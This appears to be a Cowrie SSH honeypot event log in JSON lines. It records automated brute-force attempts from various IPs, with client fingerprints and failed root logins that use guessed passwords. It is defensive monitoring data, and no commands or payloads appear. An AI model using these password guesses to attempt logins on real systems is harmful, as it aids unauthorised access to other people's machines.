{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:14.194772Z","src_ip":"103.176.20.57","session":"e7971b4f5fec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:14.443470Z","src_ip":"103.176.20.57","session":"e7971b4f5fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikita2000","message":"login attempt [root/nikita2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:15.442764Z","src_ip":"103.176.20.57","session":"e7971b4f5fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:16.696070Z","src_ip":"103.176.20.57","session":"e7971b4f5fec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":43832,"dst_ip":"10.17.0.5","dst_port":22,"session":"98d765f120fe","protocol":"ssh","message":"New connection: 103.149.28.157:43832 (10.17.0.5:22) [session: 98d765f120fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:29.455464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:29.460532Z","src_ip":"103.149.28.157","session":"98d765f120fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:29.713770Z","src_ip":"103.149.28.157","session":"98d765f120fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danil","message":"login attempt [root/danil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:30.463542Z","src_ip":"103.149.28.157","session":"98d765f120fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:31.716077Z","src_ip":"103.149.28.157","session":"98d765f120fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":59488,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ca0df25e259","protocol":"ssh","message":"New connection: 43.135.164.198:59488 (159.203.135.109:22) [session: 1ca0df25e259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:35.216439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:35.220953Z","src_ip":"43.135.164.198","session":"1ca0df25e259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:35.289627Z","src_ip":"43.135.164.198","session":"1ca0df25e259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":40152,"dst_ip":"159.203.135.109","dst_port":22,"session":"efcbc18c140f","protocol":"ssh","message":"New connection: 43.163.81.22:40152 (159.203.135.109:22) [session: efcbc18c140f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:35.515744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:35.521270Z","src_ip":"43.163.81.22","session":"efcbc18c140f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456789","message":"login attempt [root/aa123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:35.599015Z","src_ip":"43.135.164.198","session":"1ca0df25e259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:35.759667Z","src_ip":"43.163.81.22","session":"efcbc18c140f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:36.672358Z","src_ip":"43.135.164.198","session":"1ca0df25e259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazWSXedcrfv","message":"login attempt [root/qazWSXedcrfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:36.742205Z","src_ip":"43.163.81.22","session":"efcbc18c140f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:37.983917Z","src_ip":"43.163.81.22","session":"efcbc18c140f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":38658,"dst_ip":"159.203.135.109","dst_port":22,"session":"c88141223083","protocol":"ssh","message":"New connection: 171.244.37.97:38658 (159.203.135.109:22) [session: c88141223083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:50.844652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:50.849230Z","src_ip":"171.244.37.97","session":"c88141223083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:51.091927Z","src_ip":"171.244.37.97","session":"c88141223083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"customer123","message":"login attempt [root/customer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:52.095296Z","src_ip":"171.244.37.97","session":"c88141223083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:53.340969Z","src_ip":"171.244.37.97","session":"c88141223083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":33928,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfa351bd76f6","protocol":"ssh","message":"New connection: 43.135.168.126:33928 (159.203.135.109:22) [session: dfa351bd76f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:04.150627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:04.155665Z","src_ip":"43.135.168.126","session":"dfa351bd76f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:04.227694Z","src_ip":"43.135.168.126","session":"dfa351bd76f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"franci","message":"login attempt [root/franci] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:04.534883Z","src_ip":"43.135.168.126","session":"dfa351bd76f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:05.607824Z","src_ip":"43.135.168.126","session":"dfa351bd76f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.108","src_port":20296,"dst_ip":"159.203.135.109","dst_port":22,"session":"49054897ed8e","protocol":"ssh","message":"New connection: 65.49.1.108:20296 (159.203.135.109:22) [session: 49054897ed8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:24.659346Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:24.664378Z","src_ip":"65.49.1.108","session":"49054897ed8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:24.668778Z","src_ip":"65.49.1.108","session":"49054897ed8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":45400,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ab2a833c91c","protocol":"ssh","message":"New connection: 43.135.164.198:45400 (159.203.135.109:22) [session: 5ab2a833c91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:40.765170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:40.771200Z","src_ip":"43.135.164.198","session":"5ab2a833c91c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:40.841430Z","src_ip":"43.135.164.198","session":"5ab2a833c91c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootbridge","message":"login attempt [root/rootbridge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:41.153461Z","src_ip":"43.135.164.198","session":"5ab2a833c91c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42312,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6aa90277d80","protocol":"ssh","message":"New connection: 87.251.79.125:42312 (10.17.0.5:22) [session: c6aa90277d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:41.327368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:41.334820Z","src_ip":"87.251.79.125","session":"c6aa90277d80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:41.407421Z","src_ip":"87.251.79.125","session":"c6aa90277d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nthvbyfnjh","message":"login attempt [root/nthvbyfnjh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:41.632106Z","src_ip":"87.251.79.125","session":"c6aa90277d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:42.225914Z","src_ip":"43.135.164.198","session":"5ab2a833c91c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:42.707905Z","src_ip":"87.251.79.125","session":"c6aa90277d80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.136.174","src_port":53302,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c9e9027b768","protocol":"ssh","message":"New connection: 176.65.136.174:53302 (10.17.0.5:22) [session: 2c9e9027b768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:49.528494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:54:49.533160Z","src_ip":"176.65.136.174","session":"2c9e9027b768","protocol":"ssh"}
